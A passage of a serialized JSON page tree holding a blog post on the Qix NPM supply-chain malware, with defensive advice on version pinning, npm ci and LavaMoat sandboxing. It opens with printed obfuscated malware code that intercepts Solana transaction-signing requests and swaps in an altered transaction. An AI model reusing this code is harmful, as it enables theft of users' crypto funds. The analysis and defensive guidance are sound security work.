_0x2c3d7e",{"type":24,"tag":90,"props":100105,"children":100106},{"style":114},[100107],{"type":29,"value":226},{"type":24,"tag":90,"props":100109,"children":100110},{"style":136},[100111],{"type":29,"value":100112},"params",{"type":24,"tag":90,"props":100114,"children":100115},{"style":120},[100116],{"type":29,"value":649},{"type":24,"tag":90,"props":100118,"children":100119},{"style":136},[100120],{"type":29,"value":100103},{"type":24,"tag":90,"props":100122,"children":100123},{"style":114},[100124],{"type":29,"value":226},{"type":24,"tag":90,"props":100126,"children":100127},{"style":136},[100128],{"type":29,"value":100112},{"type":24,"tag":90,"props":100130,"children":100131},{"style":114},[100132],{"type":29,"value":719},{"type":24,"tag":90,"props":100134,"children":100135},{"style":349},[100136],{"type":29,"value":6408},{"type":24,"tag":90,"props":100138,"children":100139},{"style":114},[100140],{"type":29,"value":42441},{"type":24,"tag":90,"props":100142,"children":100143},{"class":92,"line":200},[100144,100148],{"type":24,"tag":90,"props":100145,"children":100146},{"style":636},[100147],{"type":29,"value":99180},{"type":24,"tag":90,"props":100149,"children":100150},{"style":114},[100151],{"type":29,"value":269},{"type":24,"tag":90,"props":100153,"children":100154},{"class":92,"line":239},[100155,100159,100164,100168,100173,100177,100181,100185,100189,100193,100197,100201,100205],{"type":24,"tag":90,"props":100156,"children":100157},{"style":97},[100158],{"type":29,"value":53492},{"type":24,"tag":90,"props":100160,"children":100161},{"style":136},[100162],{"type":29,"value":100163}," _0x39ad21",{"type":24,"tag":90,"props":100165,"children":100166},{"style":120},[100167],{"type":29,"value":216},{"type":24,"tag":90,"props":100169,"children":100170},{"style":108},[100171],{"type":29,"value":100172}," _0x1089ae",{"type":24,"tag":90,"props":100174,"children":100175},{"style":114},[100176],{"type":29,"value":117},{"type":24,"tag":90,"props":100178,"children":100179},{"style":136},[100180],{"type":29,"value":100077},{"type":24,"tag":90,"props":100182,"children":100183},{"style":114},[100184],{"type":29,"value":226},{"type":24,"tag":90,"props":100186,"children":100187},{"style":136},[100188],{"type":29,"value":100112},{"type":24,"tag":90,"props":100190,"children":100191},{"style":114},[100192],{"type":29,"value":719},{"type":24,"tag":90,"props":100194,"children":100195},{"style":349},[100196],{"type":29,"value":6408},{"type":24,"tag":90,"props":100198,"children":100199},{"style":114},[100200],{"type":29,"value":24857},{"type":24,"tag":90,"props":100202,"children":100203},{"style":97},[100204],{"type":29,"value":6380},{"type":24,"tag":90,"props":100206,"children":100207},{"style":114},[100208],{"type":29,"value":571},{"type":24,"tag":90,"props":100210,"children":100211},{"class":92,"line":248},[100212,100217,100221,100225,100229,100233,100237,100241,100245],{"type":24,"tag":90,"props":100213,"children":100214},{"style":136},[100215],{"type":29,"value":100216}," _0x2c3d7e",{"type":24,"tag":90,"props":100218,"children":100219},{"style":114},[100220],{"type":29,"value":226},{"type":24,"tag":90,"props":100222,"children":100223},{"style":136},[100224],{"type":29,"value":100112},{"type":24,"tag":90,"props":100226,"children":100227},{"style":114},[100228],{"type":29,"value":719},{"type":24,"tag":90,"props":100230,"children":100231},{"style":349},[100232],{"type":29,"value":6408},{"type":24,"tag":90,"props":100234,"children":100235},{"style":114},[100236],{"type":29,"value":11037},{"type":24,"tag":90,"props":100238,"children":100239},{"style":120},[100240],{"type":29,"value":5491},{"type":24,"tag":90,"props":100242,"children":100243},{"style":136},[100244],{"type":29,"value":100163},{"type":24,"tag":90,"props":100246,"children":100247},{"style":114},[100248],{"type":29,"value":381},{"type":24,"tag":90,"props":100250,"children":100251},{"class":92,"line":258},[100252,100256,100260,100264,100269],{"type":24,"tag":90,"props":100253,"children":100254},{"style":114},[100255],{"type":29,"value":33281},{"type":24,"tag":90,"props":100257,"children":100258},{"style":636},[100259],{"type":29,"value":50234},{"type":24,"tag":90,"props":100261,"children":100262},{"style":114},[100263],{"type":29,"value":1151},{"type":24,"tag":90,"props":100265,"children":100266},{"style":136},[100267],{"type":29,"value":100268},"_0x226343",{"type":24,"tag":90,"props":100270,"children":100271},{"style":114},[100272],{"type":29,"value":100273},") {}\n",{"type":24,"tag":90,"props":100275,"children":100276},{"class":92,"line":272},[100277,100281,100285],{"type":24,"tag":90,"props":100278,"children":100279},{"style":114},[100280],{"type":29,"value":48696},{"type":24,"tag":90,"props":100282,"children":100283},{"style":636},[100284],{"type":29,"value":2293},{"type":24,"tag":90,"props":100286,"children":100287},{"style":114},[100288],{"type":29,"value":269},{"type":24,"tag":90,"props":100290,"children":100291},{"class":92,"line":281},[100292,100296],{"type":24,"tag":90,"props":100293,"children":100294},{"style":636},[100295],{"type":29,"value":33207},{"type":24,"tag":90,"props":100297,"children":100298},{"style":114},[100299],{"type":29,"value":80396},{"type":24,"tag":90,"props":100301,"children":100302},{"class":92,"line":384},[100303,100308,100312,100316,100320,100324,100329],{"type":24,"tag":90,"props":100304,"children":100305},{"style":114},[100306],{"type":29,"value":100307}," (",{"type":24,"tag":90,"props":100309,"children":100310},{"style":136},[100311],{"type":29,"value":100077},{"type":24,"tag":90,"props":100313,"children":100314},{"style":114},[100315],{"type":29,"value":226},{"type":24,"tag":90,"props":100317,"children":100318},{"style":136},[100319],{"type":29,"value":40129},{"type":24,"tag":90,"props":100321,"children":100322},{"style":120},[100323],{"type":29,"value":33235},{"type":24,"tag":90,"props":100325,"children":100326},{"style":1085},[100327],{"type":29,"value":100328}," 'solana_signTransaction'",{"type":24,"tag":90,"props":100330,"children":100331},{"style":120},[100332],{"type":29,"value":100333}," ||\n",{"type":24,"tag":90,"props":100335,"children":100336},{"class":92,"line":420},[100337,100342,100346,100350,100354,100359,100363],{"type":24,"tag":90,"props":100338,"children":100339},{"style":136},[100340],{"type":29,"value":100341}," _0x2c3d7e",{"type":24,"tag":90,"props":100343,"children":100344},{"style":114},[100345],{"type":29,"value":226},{"type":24,"tag":90,"props":100347,"children":100348},{"style":136},[100349],{"type":29,"value":40129},{"type":24,"tag":90,"props":100351,"children":100352},{"style":120},[100353],{"type":29,"value":33235},{"type":24,"tag":90,"props":100355,"children":100356},{"style":1085},[100357],{"type":29,"value":100358}," 'solana_signAndSendTransaction'",{"type":24,"tag":90,"props":100360,"children":100361},{"style":114},[100362],{"type":29,"value":172},{"type":24,"tag":90,"props":100364,"children":100365},{"style":120},[100366],{"type":29,"value":85645},{"type":24,"tag":90,"props":100368,"children":100369},{"class":92,"line":428},[100370,100374,100378,100382],{"type":24,"tag":90,"props":100371,"children":100372},{"style":136},[100373],{"type":29,"value":100216},{"type":24,"tag":90,"props":100375,"children":100376},{"style":114},[100377],{"type":29,"value":226},{"type":24,"tag":90,"props":100379,"children":100380},{"style":136},[100381],{"type":29,"value":100112},{"type":24,"tag":90,"props":100383,"children":100384},{"style":120},[100385],{"type":29,"value":54508},{"type":24,"tag":90,"props":100387,"children":100388},{"class":92,"line":437},[100389,100393,100397,100401,100405,100409],{"type":24,"tag":90,"props":100390,"children":100391},{"style":136},[100392],{"type":29,"value":100216},{"type":24,"tag":90,"props":100394,"children":100395},{"style":114},[100396],{"type":29,"value":226},{"type":24,"tag":90,"props":100398,"children":100399},{"style":136},[100400],{"type":29,"value":100112},{"type":24,"tag":90,"props":100402,"children":100403},{"style":114},[100404],{"type":29,"value":719},{"type":24,"tag":90,"props":100406,"children":100407},{"style":349},[100408],{"type":29,"value":6408},{"type":24,"tag":90,"props":100410,"children":100411},{"style":114},[100412],{"type":29,"value":14141},{"type":24,"tag":90,"props":100414,"children":100415},{"class":92,"line":574},[100416],{"type":24,"tag":90,"props":100417,"children":100418},{"style":114},[100419],{"type":29,"value":100420}," ) {\n",{"type":24,"tag":90,"props":100422,"children":100423},{"class":92,"line":606},[100424,100428],{"type":24,"tag":90,"props":100425,"children":100426},{"style":636},[100427],{"type":29,"value":71810},{"type":24,"tag":90,"props":100429,"children":100430},{"style":114},[100431],{"type":29,"value":269},{"type":24,"tag":90,"props":100433,"children":100434},{"class":92,"line":615},[100435,100439,100444,100448,100452,100456,100460,100464,100468],{"type":24,"tag":90,"props":100436,"children":100437},{"style":97},[100438],{"type":29,"value":10452},{"type":24,"tag":90,"props":100440,"children":100441},{"style":136},[100442],{"type":29,"value":100443}," _0x5ad975",{"type":24,"tag":90,"props":100445,"children":100446},{"style":120},[100447],{"type":29,"value":216},{"type":24,"tag":90,"props":100449,"children":100450},{"style":136},[100451],{"type":29,"value":100103},{"type":24,"tag":90,"props":100453,"children":100454},{"style":114},[100455],{"type":29,"value":226},{"type":24,"tag":90,"props":100457,"children":100458},{"style":136},[100459],{"type":29,"value":100112},{"type":24,"tag":90,"props":100461,"children":100462},{"style":114},[100463],{"type":29,"value":719},{"type":24,"tag":90,"props":100465,"children":100466},{"style":349},[100467],{"type":29,"value":6408},{"type":24,"tag":90,"props":100469,"children":100470},{"style":114},[100471],{"type":29,"value":33387},{"type":24,"tag":90,"props":100473,"children":100474},{"class":92,"line":623},[100475,100479,100483,100488,100492,100497],{"type":24,"tag":90,"props":100476,"children":100477},{"style":636},[100478],{"type":29,"value":41103},{"type":24,"tag":90,"props":100480,"children":100481},{"style":114},[100482],{"type":29,"value":1151},{"type":24,"tag":90,"props":100484,"children":100485},{"style":136},[100486],{"type":29,"value":100487},"_0x5ad975",{"type":24,"tag":90,"props":100489,"children":100490},{"style":114},[100491],{"type":29,"value":226},{"type":24,"tag":90,"props":100493,"children":100494},{"style":136},[100495],{"type":29,"value":100496},"transaction",{"type":24,"tag":90,"props":100498,"children":100499},{"style":114},[100500],{"type":29,"value":1297},{"type":24,"tag":90,"props":100502,"children":100503},{"class":92,"line":632},[100504,100509,100513,100517,100521,100525],{"type":24,"tag":90,"props":100505,"children":100506},{"style":136},[100507],{"type":29,"value":100508}," _0x5ad975",{"type":24,"tag":90,"props":100510,"children":100511},{"style":120},[100512],{"type":29,"value":216},{"type":24,"tag":90,"props":100514,"children":100515},{"style":136},[100516],{"type":29,"value":100443},{"type":24,"tag":90,"props":100518,"children":100519},{"style":114},[100520],{"type":29,"value":226},{"type":24,"tag":90,"props":100522,"children":100523},{"style":136},[100524],{"type":29,"value":100496},{"type":24,"tag":90,"props":100526,"children":100527},{"style":114},[100528],{"type":29,"value":381},{"type":24,"tag":90,"props":100530,"children":100531},{"class":92,"line":669},[100532],{"type":24,"tag":90,"props":100533,"children":100534},{"style":114},[100535],{"type":29,"value":15030},{"type":24,"tag":90,"props":100537,"children":100538},{"class":92,"line":683},[100539,100543,100548,100552,100556,100560,100564,100568,100572],{"type":24,"tag":90,"props":100540,"children":100541},{"style":97},[100542],{"type":29,"value":33360},{"type":24,"tag":90,"props":100544,"children":100545},{"style":136},[100546],{"type":29,"value":100547}," _0x5dbe63",{"type":24,"tag":90,"props":100549,"children":100550},{"style":120},[100551],{"type":29,"value":216},{"type":24,"tag":90,"props":100553,"children":100554},{"style":108},[100555],{"type":29,"value":100172},{"type":24,"tag":90,"props":100557,"children":100558},{"style":114},[100559],{"type":29,"value":117},{"type":24,"tag":90,"props":100561,"children":100562},{"style":136},[100563],{"type":29,"value":100487},{"type":24,"tag":90,"props":100565,"children":100566},{"style":114},[100567],{"type":29,"value":133},{"type":24,"tag":90,"props":100569,"children":100570},{"style":97},[100571],{"type":29,"value":10552},{"type":24,"tag":90,"props":100573,"children":100574},{"style":114},[100575],{"type":29,"value":571},{"type":24,"tag":90,"props":100577,"children":100578},{"class":92,"line":737},[100579,100583,100587,100591,100595,100599,100603,100607,100611,100615],{"type":24,"tag":90,"props":100580,"children":100581},{"style":636},[100582],{"type":29,"value":41103},{"type":24,"tag":90,"props":100584,"children":100585},{"style":114},[100586],{"type":29,"value":1151},{"type":24,"tag":90,"props":100588,"children":100589},{"style":136},[100590],{"type":29,"value":100077},{"type":24,"tag":90,"props":100592,"children":100593},{"style":114},[100594],{"type":29,"value":226},{"type":24,"tag":90,"props":100596,"children":100597},{"style":136},[100598],{"type":29,"value":100112},{"type":24,"tag":90,"props":100600,"children":100601},{"style":114},[100602],{"type":29,"value":719},{"type":24,"tag":90,"props":100604,"children":100605},{"style":349},[100606],{"type":29,"value":6408},{"type":24,"tag":90,"props":100608,"children":100609},{"style":114},[100610],{"type":29,"value":52172},{"type":24,"tag":90,"props":100612,"children":100613},{"style":136},[100614],{"type":29,"value":100496},{"type":24,"tag":90,"props":100616,"children":100617},{"style":114},[100618],{"type":29,"value":1297},{"type":24,"tag":90,"props":100620,"children":100621},{"class":92,"line":751},[100622,100627,100631,100635,100639,100643,100647,100651,100655,100659],{"type":24,"tag":90,"props":100623,"children":100624},{"style":136},[100625],{"type":29,"value":100626}," _0x2c3d7e",{"type":24,"tag":90,"props":100628,"children":100629},{"style":114},[100630],{"type":29,"value":226},{"type":24,"tag":90,"props":100632,"children":100633},{"style":136},[100634],{"type":29,"value":100112},{"type":24,"tag":90,"props":100636,"children":100637},{"style":114},[100638],{"type":29,"value":719},{"type":24,"tag":90,"props":100640,"children":100641},{"style":349},[100642],{"type":29,"value":6408},{"type":24,"tag":90,"props":100644,"children":100645},{"style":114},[100646],{"type":29,"value":52172},{"type":24,"tag":90,"props":100648,"children":100649},{"style":136},[100650],{"type":29,"value":100496},{"type":24,"tag":90,"props":100652,"children":100653},{"style":120},[100654],{"type":29,"value":216},{"type":24,"tag":90,"props":100656,"children":100657},{"style":136},[100658],{"type":29,"value":100547},{"type":24,"tag":90,"props":100660,"children":100661},{"style":114},[100662],{"type":29,"value":381},{"type":24,"tag":90,"props":100664,"children":100665},{"class":92,"line":782},[100666,100670,100674],{"type":24,"tag":90,"props":100667,"children":100668},{"style":114},[100669],{"type":29,"value":40756},{"type":24,"tag":90,"props":100671,"children":100672},{"style":636},[100673],{"type":29,"value":2293},{"type":24,"tag":90,"props":100675,"children":100676},{"style":114},[100677],{"type":29,"value":269},{"type":24,"tag":90,"props":100679,"children":100680},{"class":92,"line":791},[100681,100685,100689,100693,100697,100701,100705,100709,100713],{"type":24,"tag":90,"props":100682,"children":100683},{"style":136},[100684],{"type":29,"value":100626},{"type":24,"tag":90,"props":100686,"children":100687},{"style":114},[100688],{"type":29,"value":226},{"type":24,"tag":90,"props":100690,"children":100691},{"style":136},[100692],{"type":29,"value":100112},{"type":24,"tag":90,"props":100694,"children":100695},{"style":114},[100696],{"type":29,"value":719},{"type":24,"tag":90,"props":100698,"children":100699},{"style":349},[100700],{"type":29,"value":6408},{"type":24,"tag":90,"props":100702,"children":100703},{"style":114},[100704],{"type":29,"value":11037},{"type":24,"tag":90,"props":100706,"children":100707},{"style":120},[100708],{"type":29,"value":5491},{"type":24,"tag":90,"props":100710,"children":100711},{"style":136},[100712],{"type":29,"value":100547},{"type":24,"tag":90,"props":100714,"children":100715},{"style":114},[100716],{"type":29,"value":381},{"type":24,"tag":90,"props":100718,"children":100719},{"class":92,"line":799},[100720],{"type":24,"tag":90,"props":100721,"children":100722},{"style":114},[100723],{"type":29,"value":15030},{"type":24,"tag":90,"props":100725,"children":100726},{"class":92,"line":807},[100727,100731,100735,100739,100744],{"type":24,"tag":90,"props":100728,"children":100729},{"style":114},[100730],{"type":29,"value":2288},{"type":24,"tag":90,"props":100732,"children":100733},{"style":636},[100734],{"type":29,"value":50234},{"type":24,"tag":90,"props":100736,"children":100737},{"style":114},[100738],{"type":29,"value":1151},{"type":24,"tag":90,"props":100740,"children":100741},{"style":136},[100742],{"type":29,"value":100743},"_0x4b99fd",{"type":24,"tag":90,"props":100745,"children":100746},{"style":114},[100747],{"type":29,"value":100273},{"type":24,"tag":90,"props":100749,"children":100750},{"class":92,"line":821},[100751],{"type":24,"tag":90,"props":100752,"children":100753},{"style":114},[100754],{"type":29,"value":8257},{"type":24,"tag":90,"props":100756,"children":100757},{"class":92,"line":6278},[100758],{"type":24,"tag":90,"props":100759,"children":100760},{"style":114},[100761],{"type":29,"value":827},{"type":24,"tag":1019,"props":100763,"children":100765},{"id":100764},"impact-of-the-attack",[100766],{"type":29,"value":100767},"Impact of the Attack",{"type":24,"tag":25,"props":100769,"children":100770},{},[100771],{"type":29,"value":100772},"Despite the attack targeting popular NPM packages, the exploit was not very successful. After two days, the attacker's wallet was only able to drain about $1000. However, the takeaway is how easily a trusted dependency can become a delivery vector for malware.",{"type":24,"tag":850,"props":100774,"children":100776},{"id":100775},"why-it-will-happen-again",[100777],{"type":29,"value":100778},"Why It Will Happen Again",{"type":24,"tag":25,"props":100780,"children":100781},{},[100782],{"type":29,"value":100783},"The decentralized nature of the open-source ecosystem, and particularly a massive registry like NPM, makes it an attractive and persistent target for attackers. Although this recent attack was quickly mitigated and financially minor, it served as a powerful and widely-publicized proof-of-concept showing how one compromised maintainer can distribute malware at scale.",{"type":24,"tag":25,"props":100785,"children":100786},{},[100787],{"type":29,"value":100788},"With over two million packages and countless layers of direct and transitive dependencies, a compromise can cascade through thousands of projects in hours. It's the classic \"needle in a haystack\" problem, except the haystack keeps growing.",{"type":24,"tag":850,"props":100790,"children":100792},{"id":100791},"what-developers-can-do",[100793],{"type":29,"value":100794},"What Developers Can Do",{"type":24,"tag":25,"props":100796,"children":100797},{},[100798],{"type":29,"value":100799},"If you are building critical systems where supply-chain attacks are an unacceptable risk in your threat model, here are some practical actions you can take:",{"type":24,"tag":1019,"props":100801,"children":100803},{"id":100802},"_1-version-pinning-in-packagejson",[100804,100806],{"type":29,"value":100805},"1. Version pinning in ",{"type":24,"tag":32,"props":100807,"children":100809},{"className":100808},[],[100810],{"type":29,"value":100811},"package.json",{"type":24,"tag":25,"props":100813,"children":100814},{},[100815],{"type":29,"value":100816},"Applications get compromised by supply-chain attacks when an attacker releases a new version of an NPM package and the application automatically downloads it to have the latest package version.",{"type":24,"tag":25,"props":100818,"children":100819},{},[100820,100822,100828,100830,100835,100837,100842],{"type":29,"value":100821},"You can pin your dependency versions to make sure they won't get updated when running ",{"type":24,"tag":32,"props":100823,"children":100825},{"className":100824},[],[100826],{"type":29,"value":100827},"npm install",{"type":29,"value":100829},". To pin it, just make sure to remove the caret ",{"type":24,"tag":32,"props":100831,"children":100833},{"className":100832},[],[100834],{"type":29,"value":50757},{"type":29,"value":100836}," symbol before the version in ",{"type":24,"tag":32,"props":100838,"children":100840},{"className":100839},[],[100841],{"type":29,"value":100811},{"type":29,"value":78},{"type":24,"tag":80,"props":100844,"children":100846},{"code":100845,"language":35812,"meta":7,"className":35810,"style":7},"\"@react-native-async-storage/async-storage\": \"1.23.1\",\n\"@react-native-community/datetimepicker\": \"8.3.0\",\n\"@react-native-community/netinfo\": \"11.4.1\",\n\"@react-native-picker/picker\": \"2.11.0\"\n",[100847],{"type":24,"tag":32,"props":100848,"children":100849},{"__ignoreMap":7},[100850,100871,100892,100913],{"type":24,"tag":90,"props":100851,"children":100852},{"class":92,"line":93},[100853,100858,100862,100867],{"type":24,"tag":90,"props":100854,"children":100855},{"style":1085},[100856],{"type":29,"value":100857},"\"@react-native-async-storage/async-storage\"",{"type":24,"tag":90,"props":100859,"children":100860},{"style":114},[100861],{"type":29,"value":1833},{"type":24,"tag":90,"props":100863,"children":100864},{"style":1085},[100865],{"type":29,"value":100866},"\"1.23.1\"",{"type":24,"tag":90,"props":100868,"children":100869},{"style":114},[100870],{"type":29,"value":748},{"type":24,"tag":90,"props":100872,"children":100873},{"class":92,"line":200},[100874,100879,100883,100888],{"type":24,"tag":90,"props":100875,"children":100876},{"style":1085},[100877],{"type":29,"value":100878},"\"@react-native-community/datetimepicker\"",{"type":24,"tag":90,"props":100880,"children":100881},{"style":114},[100882],{"type":29,"value":1833},{"type":24,"tag":90,"props":100884,"children":100885},{"style":1085},[100886],{"type":29,"value":100887},"\"8.3.0\"",{"type":24,"tag":90,"props":100889,"children":100890},{"style":114},[100891],{"type":29,"value":748},{"type":24,"tag":90,"props":100893,"children":100894},{"class":92,"line":239},[100895,100900,100904,100909],{"type":24,"tag":90,"props":100896,"children":100897},{"style":1085},[100898],{"type":29,"value":100899},"\"@react-native-community/netinfo\"",{"type":24,"tag":90,"props":100901,"children":100902},{"style":114},[100903],{"type":29,"value":1833},{"type":24,"tag":90,"props":100905,"children":100906},{"style":1085},[100907],{"type":29,"value":100908},"\"11.4.1\"",{"type":24,"tag":90,"props":100910,"children":100911},{"style":114},[100912],{"type":29,"value":748},{"type":24,"tag":90,"props":100914,"children":100915},{"class":92,"line":248},[100916,100921,100925],{"type":24,"tag":90,"props":100917,"children":100918},{"style":1085},[100919],{"type":29,"value":100920},"\"@react-native-picker/picker\"",{"type":24,"tag":90,"props":100922,"children":100923},{"style":114},[100924],{"type":29,"value":1833},{"type":24,"tag":90,"props":100926,"children":100927},{"style":1085},[100928],{"type":29,"value":100929},"\"2.11.0\"\n",{"type":24,"tag":1019,"props":100931,"children":100933},{"id":100932},"_2-use-npm-ci",[100934,100936],{"type":29,"value":100935},"2. Use ",{"type":24,"tag":32,"props":100937,"children":100939},{"className":100938},[],[100940],{"type":29,"value":100941},"npm ci",{"type":24,"tag":25,"props":100943,"children":100944},{},[100945,100950,100952,100958,100960,100965],{"type":24,"tag":32,"props":100946,"children":100948},{"className":100947},[],[100949],{"type":29,"value":100941},{"type":29,"value":100951}," uses the dependency versions from ",{"type":24,"tag":32,"props":100953,"children":100955},{"className":100954},[],[100956],{"type":29,"value":100957},"package-lock.json",{"type":29,"value":100959}," to install the packages. Consider using it in CI/CD workflows and only use ",{"type":24,"tag":32,"props":100961,"children":100963},{"className":100962},[],[100964],{"type":29,"value":100827},{"type":29,"value":100966}," when adding a new package or updating an existing one.",{"type":24,"tag":1019,"props":100968,"children":100970},{"id":100969},"_3-implement-lavamoat",[100971,100973],{"type":29,"value":100972},"3. Implement ",{"type":24,"tag":69,"props":100974,"children":100977},{"href":100975,"rel":100976},"https://github.com/LavaMoat/LavaMoat/tree/main",[73],[100978],{"type":24,"tag":7711,"props":100979,"children":100980},{},[100981],{"type":29,"value":100982},"Lavamoat",{"type":24,"tag":25,"props":100984,"children":100985},{},[100986],{"type":29,"value":100987},"Basic hygiene helps, but it doesn’t solve the root issue: a minor utility package has the same permissions as your code. Lavamoat changes this model. Lavamoat, created by MetaMask, addresses this by sandboxing packages and enforcing least privilege. With it, even if a dependency contains malware, it cannot compromise the application.",{"type":24,"tag":25,"props":100989,"children":100990},{},[100991],{"type":29,"value":100992},"Lavamoat uses SES (Hardened JavaScript) to enforce these restrictions, limiting the globals, functions, and sub-dependencies each package can access. The rules are defined in a policy file, which looks like this:",{"type":24,"tag":80,"props":100994,"children":100996},{"code":100995,"language":35812,"meta":7,"className":35810,"style":7},"\"resources\": {\n \"@ethereumjs/util>@ethereumjs/rlp\": {\n \"globals\": {\n \"TextEncoder\": true\n }\n },\n \"@ethereumjs/util\": {\n \"globals\": {\n \"console.warn\": true,\n \"fetch\": true\n },\n \"packages\": {\n \"@ethereumjs/util>@ethereumjs/rlp\": true,\n \"@ethereumjs/util>ethereum-cryptography\": true\n }\n }\n}\n",[100997],{"type":24,"tag":32,"props":100998,"children":100999},{"__ignoreMap":7},[101000,101012,101024,101035,101051,101058,101065,101077,101088,101108,101124,101131,101142,101162,101178,101185,101192],{"type":24,"tag":90,"props":101001,"children":101002},{"class":92,"line":93},[101003,101008],{"type":24,"tag":90,"props":101004,"children":101005},{"style":1085},[101006],{"type":29,"value":101007},"\"resources\"",{"type":24,"tag":90,"props":101009,"children":101010},{"style":114},[101011],{"type":29,"value":38838},{"type":24,"tag":90,"props":101013,"children":101014},{"class":92,"line":200},[101015,101020],{"type":24,"tag":90,"props":101016,"children":101017},{"style":136},[101018],{"type":29,"value":101019}," \"@ethereumjs/util>@ethereumjs/rlp\"",{"type":24,"tag":90,"props":101021,"children":101022},{"style":114},[101023],{"type":29,"value":38838},{"type":24,"tag":90,"props":101025,"children":101026},{"class":92,"line":239},[101027,101031],{"type":24,"tag":90,"props":101028,"children":101029},{"style":136},[101030],{"type":29,"value":38846},{"type":24,"tag":90,"props":101032,"children":101033},{"style":114},[101034],{"type":29,"value":38838},{"type":24,"tag":90,"props":101036,"children":101037},{"class":92,"line":248},[101038,101043,101047],{"type":24,"tag":90,"props":101039,"children":101040},{"style":136},[101041],{"type":29,"value":101042}," \"TextEncoder\"",{"type":24,"tag":90,"props":101044,"children":101045},{"style":114},[101046],{"type":29,"value":1833},{"type":24,"tag":90,"props":101048,"children":101049},{"style":97},[101050],{"type":29,"value":39007},{"type":24,"tag":90,"props":101052,"children":101053},{"class":92,"line":258},[101054],{"type":24,"tag":90,"props":101055,"children":101056},{"style":114},[101057],{"type":29,"value":15030},{"type":24,"tag":90,"props":101059,"children":101060},{"class":92,"line":272},[101061],{"type":24,"tag":90,"props":101062,"children":101063},{"style":114},[101064],{"type":29,"value":27190},{"type":24,"tag":90,"props":101066,"children":101067},{"class":92,"line":281},[101068,101073],{"type":24,"tag":90,"props":101069,"children":101070},{"style":136},[101071],{"type":29,"value":101072}," \"@ethereumjs/util\"",{"type":24,"tag":90,"props":101074,"children":101075},{"style":114},[101076],{"type":29,"value":38838},{"type":24,"tag":90,"props":101078,"children":101079},{"class":92,"line":384},[101080,101084],{"type":24,"tag":90,"props":101081,"children":101082},{"style":136},[101083],{"type":29,"value":38846},{"type":24,"tag":90,"props":101085,"children":101086},{"style":114},[101087],{"type":29,"value":38838},{"type":24,"tag":90,"props":101089,"children":101090},{"class":92,"line":420},[101091,101096,101100,101104],{"type":24,"tag":90,"props":101092,"children":101093},{"style":136},[101094],{"type":29,"value":101095}," \"console.warn\"",{"type":24,"tag":90,"props":101097,"children":101098},{"style":114},[101099],{"type":29,"value":1833},{"type":24,"tag":90,"props":101101,"children":101102},{"style":97},[101103],{"type":29,"value":6380},{"type":24,"tag":90,"props":101105,"children":101106},{"style":114},[101107],{"type":29,"value":748},{"type":24,"tag":90,"props":101109,"children":101110},{"class":92,"line":428},[101111,101116,101120],{"type":24,"tag":90,"props":101112,"children":101113},{"style":136},[101114],{"type":29,"value":101115}," \"fetch\"",{"type":24,"tag":90,"props":101117,"children":101118},{"style":114},[101119],{"type":29,"value":1833},{"type":24,"tag":90,"props":101121,"children":101122},{"style":97},[101123],{"type":29,"value":39007},{"type":24,"tag":90,"props":101125,"children":101126},{"class":92,"line":437},[101127],{"type":24,"tag":90,"props":101128,"children":101129},{"style":114},[101130],{"type":29,"value":39015},{"type":24,"tag":90,"props":101132,"children":101133},{"class":92,"line":574},[101134,101138],{"type":24,"tag":90,"props":101135,"children":101136},{"style":136},[101137],{"type":29,"value":39023},{"type":24,"tag":90,"props":101139,"children":101140},{"style":114},[101141],{"type":29,"value":38838},{"type":24,"tag":90,"props":101143,"children":101144},{"class":92,"line":606},[101145,101150,101154,101158],{"type":24,"tag":90,"props":101146,"children":101147},{"style":136},[101148],{"type":29,"value":101149}," \"@ethereumjs/util>@ethereumjs/rlp\"",{"type":24,"tag":90,"props":101151,"children":101152},{"style":114},[101153],{"type":29,"value":1833},{"type":24,"tag":90,"props":101155,"children":101156},{"style":97},[101157],{"type":29,"value":6380},{"type":24,"tag":90,"props":101159,"children":101160},{"style":114},[101161],{"type":29,"value":748},{"type":24,"tag":90,"props":101163,"children":101164},{"class":92,"line":615},[101165,101170,101174],{"type":24,"tag":90,"props":101166,"children":101167},{"style":136},[101168],{"type":29,"value":101169}," \"@ethereumjs/util>ethereum-cryptography\"",{"type":24,"tag":90,"props":101171,"children":101172},{"style":114},[101173],{"type":29,"value":1833},{"type":24,"tag":90,"props":101175,"children":101176},{"style":97},[101177],{"type":29,"value":39007},{"type":24,"tag":90,"props":101179,"children":101180},{"class":92,"line":623},[101181],{"type":24,"tag":90,"props":101182,"children":101183},{"style":114},[101184],{"type":29,"value":15030},{"type":24,"tag":90,"props":101186,"children":101187},{"class":92,"line":632},[101188],{"type":24,"tag":90,"props":101189,"children":101190},{"style":114},[101191],{"type":29,"value":612},{"type":24,"tag":90,"props":101193,"children":101194},{"class":92,"line":669},[101195],{"type":24,"tag":90,"props":101196,"children":101197},{"style":114},[101198],{"type":29,"value":827},{"type":24,"tag":25,"props":101200,"children":101201},{},[101202,101204,101210,101212,101218,101219,101224,101226,101232,101233,101239],{"type":29,"value":101203},"In this example, it restricts the ",{"type":24,"tag":32,"props":101205,"children":101207},{"className":101206},[],[101208],{"type":29,"value":101209},"@ethereumjs/util",{"type":29,"value":101211}," package to use only ",{"type":24,"tag":32,"props":101213,"children":101215},{"className":101214},[],[101216],{"type":29,"value":101217},"console.warn",{"type":29,"value":13360},{"type":24,"tag":32,"props":101220,"children":101222},{"className":101221},[],[101223],{"type":29,"value":35909},{"type":29,"value":101225}," functions, and to include only ",{"type":24,"tag":32,"props":101227,"children":101229},{"className":101228},[],[101230],{"type":29,"value":101231},"@ethereumjs/rlp",{"type":29,"value":13360},{"type":24,"tag":32,"props":101234,"children":101236},{"className":101235},[],[101237],{"type":29,"value":101238},"ethereum-cryptography",{"type":29,"value":101240}," packages.",{"type":24,"tag":25,"props":101242,"children":101243},{},[101244],{"type":29,"value":101245},"The policy files can be generated automatically and should be regenerated carefully, because if you generate a policy while a malicious package is installed, Lavamoat’s protection can be bypassed.",{"type":24,"tag":25,"props":101247,"children":101248},{},[101249,101251,101257],{"type":29,"value":101250},"Lavamoat also automatically freezes the global objects to prevent them being replaced or tampered with. See ",{"type":24,"tag":69,"props":101252,"children":101255},{"href":101253,"rel":101254},"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/freeze",[73],[101256],{"type":29,"value":39193},{"type":29,"value":226},{"type":24,"tag":1019,"props":101259,"children":101261},{"id":101260},"lavamoat-vs-qix-malware",[101262],{"type":29,"value":101263},"Lavamoat vs Qix Malware",{"type":24,"tag":25,"props":101265,"children":101266},{},[101267,101269,101274],{"type":29,"value":101268},"If a dApp were compromised with the Qix malware (say it used ",{"type":24,"tag":32,"props":101270,"children":101272},{"className":101271},[],[101273],{"type":29,"value":99114},{"type":29,"value":101275},"), it would need to perform 